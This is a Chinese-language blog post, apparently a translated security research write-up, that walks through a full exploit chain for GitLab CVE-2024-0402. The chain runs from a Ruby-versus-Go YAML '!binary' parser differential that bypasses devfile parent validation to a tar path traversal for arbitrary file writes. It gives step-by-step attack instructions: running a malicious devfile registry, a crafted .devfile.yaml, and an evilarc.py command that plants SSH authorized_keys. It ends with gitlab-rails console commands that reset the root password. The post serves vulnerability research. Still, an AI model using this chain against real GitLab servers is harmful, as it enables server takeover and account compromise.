深入解析GitLab CVE-2024-0402漏洞:从YAML解析差异到任意文件写入的完整利用链

本文详细分析了GitLab CVE-2024-0402漏洞的完整利用链,包括YAML解析器差异绕过验证、devfile注册表恶意tar包构造、路径遍历实现任意文件写入,最终通过SSH密钥替换获得GitLab服务器权限。

引言

我们知道已经多次提及,但为了新读者:Doyensec团队在地中海游轮上进行公司团建时,通过分析真实漏洞消磨时间,形成了!exploitable博客系列。
第一部分介绍了IoT ARM漏洞利用,第二部分尝试复现《黑客帝国2》中Trinity使用的漏洞。
本集将深入分析GitLab的CVE-2024-0402漏洞。如同洋葱般层层剥开,从YAML解析器差异到解压函数路径遍历,最终实现GitLab任意文件写入。
由于未公开PoC,我们决定扩展原作者的博客内容,提供完整的PoC信息闭环😉

背景知识

该漏洞影响GitLab Workspaces功能,该功能允许开发者快速启动包含所有依赖、工具和配置的集成开发环境(IDE)。
Workspaces功能依赖多个组件,包括运行的Kubernetes GitLab Agent和devfile配置:

  • Kubernetes GitLab Agent:连接GitLab与Kubernetes集群,支持部署自动化和CI/CD流水线集成,同时启用Workspaces创建
  • Devfile:定义容器化开发环境的开放标准,通过YAML文件配置项目所需的工具、运行时和依赖

示例devfile配置(需放置在GitLab仓库的.devfile.yaml中):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
apiVersion: 1.0.0
metadata:
  name: my-app
components:
  - name: runtime
    container:
      image: registry.access.redhat.com/ubi8/nodejs-14
      endpoints:
        - name: http
          targetPort: 3000

漏洞分析

绕过parent验证

GitLab使用devfile Gem(Ruby)调用外部devfile二进制文件(Go)处理.devfile.yaml。在Workspace创建过程中,PreFlattenDevfileValidator会调用validate_parent验证器:

1
2
3
4
5
6
# gitlab-v16.8.0-ee/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb:50
def self.validate_parent(value)
  value => { devfile: Hash => devfile }
  return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']
  Result.ok(value)
end

parent选项允许devfile继承父配置,但该功能被明确阻止。

YAML解析器差异利用

通过YAML解析器差异(Ruby vs Go)绕过验证:

  • Ruby的yaml库会处理!binary标签并进行base64解码
  • Go的gopkg.in/yaml.v3会直接忽略该标签

测试示例:

1
2
3
# test3.yaml
normalk: just a value
!binary parent: got injected

Go输出:

1
2
parent: got injected
normalk: just a value

Ruby输出:

1
{"normalk"=>"just a value", "\xA5\xAA\xDE\x9E"=>"got injected"}

通过此差异,可绕过validate_parent函数将parent选项传递至devfile二进制文件。

任意文件写入

在devfile二进制文件的decompress函数中发现路径遍历漏洞:

1
2
3
4
5
func decompress(targetDir string, tarFile string, excludeFiles []string) error {
  // ...
  target := path.Join(targetDir, filepath.Clean(header.Name))
  // ...
}

漏洞成因:

  • header.Name来自远程tar包
  • filepath.Clean无法处理相对路径(如../../../../tmp/test

利用evilarc.py等工具可构造恶意tar包实现任意文件写入。

完整利用链

  1. 部署恶意devfile注册表:包含路径遍历tar包(位置:stacks/<STACK_NAME>/<STACK_VERSION>/archive.tar)
  2. 构造恶意.devfile.yaml:利用YAML解析差异指向恶意注册表
  3. 触发Workspace创建:GitLab服务器下载并解压恶意tar包,实现任意文件写入

利用要求:

  • 具有代码提交权限的GitLab开发者账户
  • 启用Workspace功能的GitLab实例(v16.8.0及以下)

环境配置提示

  • 使用GitLab 16.8文档配置环境(新版已变更)
  • 修补缺失的web-ide-injector容器镜像:
    1
    2
    
    # 编辑/opt/gitlab/embedded/service/gitlab-rails/ee/lib/remote_development/workspaces/create/editor_component_injector.rb:129
    registry.gitlab.com/gitlab-org/gitlab-web-ide-vscode-fork/gitlab-vscode-build:latest
    
  • GitLab Agent需启用remote_development选项

漏洞利用

步骤1:部署恶意注册表

  1. 运行本地容器注册表:
    1
    
    docker run -d -p 5000:5000 --name local-registrypoc registry:2
    
  2. 构建并运行恶意devfile注册表(参考PoC仓库)

步骤2:构造恶意配置

在目标仓库的.devfile.yaml中添加:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<恶意注册表IP>:<端口>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/.../ubuntu-24.04:20250109224147-golang-1.23@sha256:..."

步骤3:触发漏洞

通过GitLab Web UI创建新Workspace,系统将自动下载并解压恶意tar包。

权限提升

默认文件写入用户为git(GitLab核心用户),可通过覆盖以下文件实现权限提升:

  • /var/opt/gitlab/.ssh/authorized_keys:添加无限制SSH密钥
  • 其他可写配置文件

示例SSH密钥替换:

1
2
# 生成恶意tar包
python3 evilarc.py authorized_keys -f archive.tar.gz -p var/opt/gitlab/.ssh/ -o unix

成功后可通过SSH以git用户登录,并修改GitLab root用户密码:

1
2
3
4
5
gitlab-rails console --environment production
user = User.find_by_username 'root'
user.password = '新密码'
user.password_confirmation = '新密码'
user.save!

结论

通过克服环境配置困难和有限连接,我们成功构建了CVE-2024-0402的完整PoC。这再次证明,优秀的漏洞往往存在于配置复杂、探索者稀少的领域。
感谢joernchen发现该漏洞链,以及他在研究中提供的详细路径描述。我们希望公开的PoC能帮助其他人节省时间!

资源

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计